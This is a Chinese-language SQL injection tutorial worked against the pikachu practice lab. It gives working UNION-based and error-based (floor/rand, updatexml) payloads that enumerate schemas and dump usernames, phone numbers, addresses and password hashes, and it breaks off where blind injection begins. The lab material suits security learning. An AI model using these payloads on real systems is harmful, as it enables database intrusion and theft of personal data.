SQL注入原理
程序员没有遵循代码与数据分离原则,使用户数据作为代码执行。
SQL注入条件
- 用户可以控制数据的输入。
- 原本要运行的代码拼接了用户的输入并运行。
基本知识(Mysql)
注入点检测
页面返回正常
and 1=1--+
or 1=2--+
页面返回异常
and 1=2--+
or 1=1--+
添加 sleep(3)看页面是否返回时间长
其他
关于select、union、limit、database等sql语句及函数我都放在了这篇文章,如果您对基本函数还不了解,可以先看下面的文章。
文中有使用sqlmap,关于sqlmap的内容,可以查看网络安全-sqlmap学习笔记
基本流程
sql注入流程图
SQL注入技术
sql注入技术
先按照sqlmap的分类(BUETSQ),然后是其他,由易到难,使用靶机pikachu。
Union注入攻击
利用union查询来运行想要的sql语句
字符型注入,目标:获取当前数据库中的所有用户名及其他感兴趣的信息。
注入点判断
d' and 1=1#
返回正常
字符型注入点,使用单引号闭合即可
字段判断
order by 1和2时没有问题
d' order by 3#
order by 3出错
字段数为2,有回显,union没有被过滤,使用Union注入
sql语句猜测,从某个表根据用户名返回两个字段
select field1,field2 from table where 用户名 = ''
查询当前数据库
当前的用database()函数即可
d' UNION SELECT 1,database() from information_schema.schemata#
查询当前数据库
当前的用database()函数即可
d' UNION SELECT 1,database() from information_schema.schemata#
获取数据库
得到数据库名pikachu
查询表名
d' UNION SELECT 1,table_name from information_schema.tables where table_schema='pikachu'#
查询到的表
数据库的表
得到表名httpinfo、member、message、users、xssblind
查询列名
根据我们的目标,假设对member感兴趣
d' UNION SELECT 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='member'#
列名
users表中有id、username、pw、phonenum、address、email
通过以上信息,猜测sql语句
select id,email from member where username = ''
查询所需字段值
有了username就可以通过他给的表单获取对应email,所以就假设我们对phone、address更感兴趣,0x3a是冒号
d' UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member#
得到数据
你可以尝试以下查询 vince。
Error注入攻击
如果union被过滤,可以使用基于错误的注入攻击,一般利用floor,updatexml, extractvalue函数、还有exp和一些几何函数,补充exp:Error Based SQL Injection Using EXP | 🔐Blog of Osanda。利用了"DOUBLE value is out of range"。
Floor函数报错
关键函数:
Rand() -------产生0~1的伪随机数
Floor() -------向下取整数
Concat() -----连接字符串
Count() ------计算总数
Payload如下:
Select count(*),concat(PAYLOAD,floor(rand(0)*2))x from 表名 group by x;
floor和rand(0)产生重复序列
根据x字段进行分组,统计x的个数
group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)
如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
爆数据库lady_killer9。
这里利用updatexml函数,报错原理简单,第二个不是XPATH类型字符串就报错。
一般使用如下结构,sql是你想运行的sql语句。
updatexml(1,concat(0x7e,(sql),0x7e),1)
0x7e是~,使用char(126)也是一样的,concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出sql语句运行后的结果。
sqlmap集成
sqlmap集成了上述的三种方式,同时还有其他的
字符型注入,目标:获取当前数据库中的users表中的所有用户名及其他感兴趣的信息。
注入点和字段数判断同上,已知:
字符型注入点,使用单引号闭合即可
字段数为2,有回显,updatexml没有被过滤,使用报错注入
查询表名
d' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
注意,结果只能是一行,所以使用了limit 0,1获得第一个表
当sql语句是使用 limit 3,1是时候就可以得到了users表。
查询列名
d' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
第一个列名
同样,当sql语句是使用 limit 1,1、limit 2,1、limit 3,1时,就得到了username、password、level三个列名。
查询所需字段值
假设我们对username和password感兴趣
d' and updatexml(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) from users limit 0,1),0x7e),1)#
结果
当然密码加了密,剩下的交给搞Cryto的人吧。可以看出报错注入攻击比较麻烦,如果有回显,union没有被过滤,还是优先使用union注入攻击。
----------------------------------------没有回显-----------------------------
接下来就是难度中等的了,没有回显,采用盲注